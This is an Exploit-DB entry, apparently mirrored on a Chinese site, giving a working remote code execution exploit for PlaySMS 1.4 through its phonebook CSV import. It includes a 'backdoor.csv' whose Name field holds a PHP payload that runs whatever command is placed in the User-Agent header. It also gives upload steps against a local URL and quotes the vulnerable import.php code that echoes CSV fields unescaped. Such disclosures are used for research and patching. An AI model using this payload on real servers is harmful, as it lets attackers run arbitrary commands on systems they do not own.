PlaySMS 1.4 – ‘import.php’ Remote Code Execution

Exploit Database
125 阅读

作者： Touhid M.Shaikh

日期： 2017-05-21
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/42044/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

# Exploit Title: PlaySMS 1.4 Remote Code Execution using Phonebook import Function in import.php

# Date: 21-05-2017

# Software Link: https://playsms.org/download/

# Version: 1.4

# Exploit Author: Touhid M.Shaikh

# Contact: http://twitter.com/touhidshaikh22

# Website: http://touhidshaikh.com/

# Category: webapps

1. Description

Code Execution using import.php

We know import.php accept file and just read content

not stored in server. But when we stored payload in our backdoor.csv

and upload to phonebook. Its execute our payload and show on next page in field (in NAME,MOBILE,Email,Group COde,Tags) accordingly .

In My case i stored my vulnerable codein my backdoor.csv files's Name field .

But There is one problem in execution. Its only execute in built function and variable which is used in application.

That why the server not execute our payload directly. Now i Use "<?php $a=$_SERVER['HTTP_USER_AGENT']; system($a); ?>" in name field and change our user agent to any command which u want to execute command. Bcz it not execute <?php system("id")?> directly .

Example of my backdoor.csv file content

----------------------MY FILE CONTENT------------------------------------

Name Mobile Email Group code Tags

<?php $t=$_SERVER['HTTP_USER_AGENT']; system($t); ?> 22

--------------------MY FILE CONTENT END HERE-------------------------------

For More Details : www.touhidshaikh.com/blog/

For Video Demo : https://www.youtube.com/watch?v=KIB9sKQdEwE

2. Proof of Concept

Go to :

http://127.0.0.1/playsms/index.php?app=main&inc=feature_phonebook&route=import&op=list

And Upload my malicious File.(backdoor.csv)

and change our User agent.

This is Form For Upload Phonebook.

----------------------Form for upload CSV file ----------------------

" . _CSRF_FORM_ . "

<p>" . _('Please select CSV file for phonebook entries') . "</p>

<p class=text-info>" . _('CSV file format') . " : " . _('Name') . ", " . _('Mobile') . ", " . _('Email') . ", " . _('Group code') . ", " . _('Tags') . "</p>

</form>

------------------------------Form ends ---------------------------

-------------Read Content and Display Content-----------------------

case "import":

$fnpb = $_FILES['fnpb'];

$fnpb_tmpname = $_FILES['fnpb']['tmp_name'];

$content = "

<h2>" . _('Phonebook') . "</h2>

<h3>" . _('Import confirmation') . "</h3>

<th width=\"20%\">" . _('Mobile') . "</th>

<th width=\"25%\">" . _('Email') . "</th>

<th width=\"15%\">" . _('Group code') . "</th>

</tr></thead><tbody>";

if (file_exists($fnpb_tmpname)) {

$session_import = 'phonebook_' . _PID_;

unset($_SESSION['tmp'][$session_import]);

ini_set('auto_detect_line_endings', TRUE);

if (($fp = fopen($fnpb_tmpname, "r")) !== FALSE) {

$i = 0;

while ($c_contact = fgetcsv($fp, 1000, ',', '"', '\\')) {

if ($i > $phonebook_row_limit) {

break;

}

if ($i > 0) {

$contacts[$i] = $c_contact;

}

$i++;

}

$i = 0;

foreach ($contacts as $contact) {

$c_gid = phonebook_groupcode2id($uid, $contact[3]);

if (!$c_gid) {

$contact[3] = '';

}

$contact[1] = sendsms_getvalidnumber($contact[1]);

$contact[4] = phonebook_tags_clean($contact[4]);

if ($contact[0] && $contact[1]) {

$i++;

$content .= "

<tr>

<td>$contact[0]</td>

<td>$contact[1]</td>

<td>$contact[2]</td>

<td>$contact[3]</td>

<td>$contact[4]</td>

</tr>";

$k = $i - 1;

$_SESSION['tmp'][$session_import][$k] = $contact;

}

------------------------------code ends ---------------------------

Bingoo.....

*------------------My Friends---------------------------*

|Pratik K.Tejani, Rehman, Taushif,Charles Babbage|

*---------------------------------------------------*